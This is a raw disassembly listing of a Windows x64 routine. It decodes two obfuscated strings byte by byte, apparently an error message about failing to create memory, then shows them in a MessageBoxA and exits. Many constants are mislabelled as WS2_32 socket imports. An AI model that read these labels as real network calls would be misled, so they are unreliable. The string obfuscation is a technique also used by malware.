lea rcx, [rbp + 0x338]
call fcn.1400429f8
mov byte [rbp + 0x339], al
mov r9, rbx
mov esi, 1
mov r8d, esi
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x338]
call fcn.1400429f8
mov byte [rbp + 0x33a], al
mov r9, rbx
lea r8d, [rsi + 1]
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x338]
call fcn.1400429f8
mov byte [rbp + 0x33b], al
mov r9, rbx
lea r8d, [rsi + 2]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x338]
call fcn.1400429f8
mov byte [rbp + 0x33c], al
mov r9, rbx
lea r8d, [rsi + 3]
mov dl, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp + 0x338]
call fcn.1400429f8
mov byte [rbp + 0x33d], al
mov r9, rbx
lea r8d, [rsi + 4]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x338]
call fcn.1400429f8
mov byte [rbp + 0x33e], al
mov r9, rbx
lea r8d, [rsi + 5]
mov dl, WSAStartup
lea rcx, [rbp + 0x338]
call fcn.1400429f8
mov byte [rbp + 0x33f], al
mov r9, rbx
lea r8d, [rsi + 6]
mov dl, 0x61
lea rcx, [rbp + 0x338]
call fcn.1400429f8
mov byte [rbp + 0x340], al
mov r9, rbx
lea r8d, [rsi + 7]
mov dl, reloc.WS2_32.dll_WSASetLastError
lea rcx, [rbp + 0x338]
call fcn.1400429f8
mov byte [rbp + 0x341], al
mov r9, rbx
lea r8d, [rsi + 8]
mov dl, r12b
lea rcx, [rbp + 0x338]
call fcn.1400429f8
mov byte [rbp + 0x342], al
mov r9, rbx
lea r8d, [rsi + 9]
mov dl, 0x46
lea rcx, [rbp + 0x338]
call fcn.1400429f8
mov byte [rbp + 0x343], al
mov r9, rbx
lea r8d, [rsi + 0xa]
mov dl, 0x61
lea rcx, [rbp + 0x338]
call fcn.1400429f8
mov byte [rbp + 0x344], al
mov r9, rbx
lea r8d, [rsi + 0xb]
mov dl, 0x69
lea rcx, [rbp + 0x338]
call fcn.1400429f8
mov byte [rbp + 0x345], al
mov r9, rbx
lea r8d, [rsi + 0xc]
mov dl, 0x6c
lea rcx, [rbp + 0x338]
call fcn.1400429f8
mov byte [rbp + 0x346], al
mov r9, rbx
lea r8d, [rsi + 0xd]
mov dl, 0x75
lea rcx, [rbp + 0x338]
call fcn.1400429f8
mov byte [rbp + 0x347], al
mov r9, rbx
lea r8d, [rsi + 0xe]
mov dl, WSAStartup
lea rcx, [rbp + 0x338]
call fcn.1400429f8
mov byte [rbp + 0x348], al
mov r9, rbx
mov r8, r13
mov dl, 0x65
lea rcx, [rbp + 0x338]
call fcn.1400429f8
mov byte [rbp + 0x349], al
xor eax, eax
mov byte [rbp + 0x34a], al
mov r14d, eax
mov r9, rbx
mov r8, r14
mov dl, byte [rbp + r14 + 0x339]
lea rcx, [rbp + 0x338]
call fcn.1400429f8
mov byte [rbp + r14 + 0x339], al
add r14, rsi
cmp r14, rbx
jb 0x14004249b
xor r14d, r14d
mov byte [rbp + 0x34a], r14b
mov byte [rbp + 0x738], 0x76
mov r9, r15
xor r8d, r8d
mov dl, 0x46
lea rcx, [rbp + 0x738]
call fcn.140042d44
mov byte [rbp + 0x739], al
mov r9, r15
mov r8, rsi
mov dl, 0x61
lea rcx, [rbp + 0x738]
call fcn.140042d44
mov byte [rbp + 0x73a], al
mov r9, r15
lea r8d, [r14 + 2]
mov dl, 0x69
lea rcx, [rbp + 0x738]
call fcn.140042d44
mov byte [rbp + 0x73b], al
mov r9, r15
lea r8d, [r14 + 3]
mov dl, 0x6c
lea rcx, [rbp + 0x738]
call fcn.140042d44
mov byte [rbp + 0x73c], al
mov r9, r15
lea r8d, [r14 + 4]
mov dl, 0x65
lea rcx, [rbp + 0x738]
call fcn.140042d44
mov byte [rbp + 0x73d], al
mov r9, r15
lea r8d, [r14 + 5]
mov dl, 0x64
lea rcx, [rbp + 0x738]
call fcn.140042d44
mov byte [rbp + 0x73e], al
mov r9, r15
lea r8d, [r14 + 6]
mov dl, r12b
lea rcx, [rbp + 0x738]
call fcn.140042d44
mov byte [rbp + 0x73f], al
mov r9, r15
lea r8d, [r14 + 7]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x738]
call fcn.140042d44
mov byte [rbp + 0x740], al
mov r9, r15
lea r8d, [r14 + 8]
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x738]
call fcn.140042d44
mov byte [rbp + 0x741], al
mov r9, r15
lea r8d, [r14 + 9]
mov dl, r12b
lea rcx, [rbp + 0x738]
call fcn.140042d44
mov byte [rbp + 0x742], al
mov r9, r15
lea r8d, [r14 + 0xa]
mov dl, 0x43
lea rcx, [rbp + 0x738]
call fcn.140042d44
mov byte [rbp + 0x743], al
mov r9, r15
lea r8d, [r14 + 0xb]
mov dl, WSAStartup
lea rcx, [rbp + 0x738]
call fcn.140042d44
mov byte [rbp + 0x744], al
mov r9, r15
lea r8d, [r14 + 0xc]
mov dl, 0x65
lea rcx, [rbp + 0x738]
call fcn.140042d44
mov byte [rbp + 0x745], al
mov r9, r15
lea r8d, [r14 + 0xd]
mov dl, 0x61
lea rcx, [rbp + 0x738]
call fcn.140042d44
mov byte [rbp + 0x746], al
mov r9, r15
lea r8d, [r14 + 0xe]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x738]
call fcn.140042d44
mov byte [rbp + 0x747], al
mov r9, r15
lea r8d, [r14 + 0xf]
mov dl, 0x65
lea rcx, [rbp + 0x738]
call fcn.140042d44
mov byte [rbp + 0x748], al
mov r9, r15
mov r8, r13
mov dl, r12b
lea rcx, [rbp + 0x738]
call fcn.140042d44
mov byte [rbp + 0x749], al
mov r9, r15
mov r8, rbx
mov dl, 0x4d
lea rcx, [rbp + 0x738]
call fcn.140042d44
mov byte [rbp + 0x74a], al
mov r9, r15
lea r8d, [r14 + 0x12]
mov dl, 0x65
lea rcx, [rbp + 0x738]
call fcn.140042d44
mov byte [rbp + 0x74b], al
mov r9, r15
lea r8d, [r14 + 0x13]
mov dl, 0x6d
lea rcx, [rbp + 0x738]
call fcn.140042d44
mov byte [rbp + 0x74c], al
mov r9, r15
lea r8d, [r14 + 0x14]
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x738]
call fcn.140042d44
mov byte [rbp + 0x74d], al
mov r9, r15
mov r8, rdi
mov dl, WSAStartup
lea rcx, [rbp + 0x738]
call fcn.140042d44
mov byte [rbp + 0x74e], al
mov r9, r15
lea r8d, [r14 + 0x16]
mov dl, 0x79
lea rcx, [rbp + 0x738]
call fcn.140042d44
mov byte [rbp + 0x74f], al
xor eax, eax
mov byte [rbp + 0x750], al
mov edi, r14d
mov rbx, rsi
mov r9, r15
mov r8, rdi
mov dl, byte [rbp + rdi + 0x739]
lea rcx, [rbp + 0x738]
call fcn.140042d44
mov byte [rbp + rdi + 0x739], al
add rdi, rbx
cmp rdi, r15
jb 0x14004274f
mov byte [rbp + 0x750], r14b
xor r9d, r9d
lea r8, [rbp + 0x339]
lea rdx, [rbp + 0x739]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, ebx
call fcn.1400a8858
int3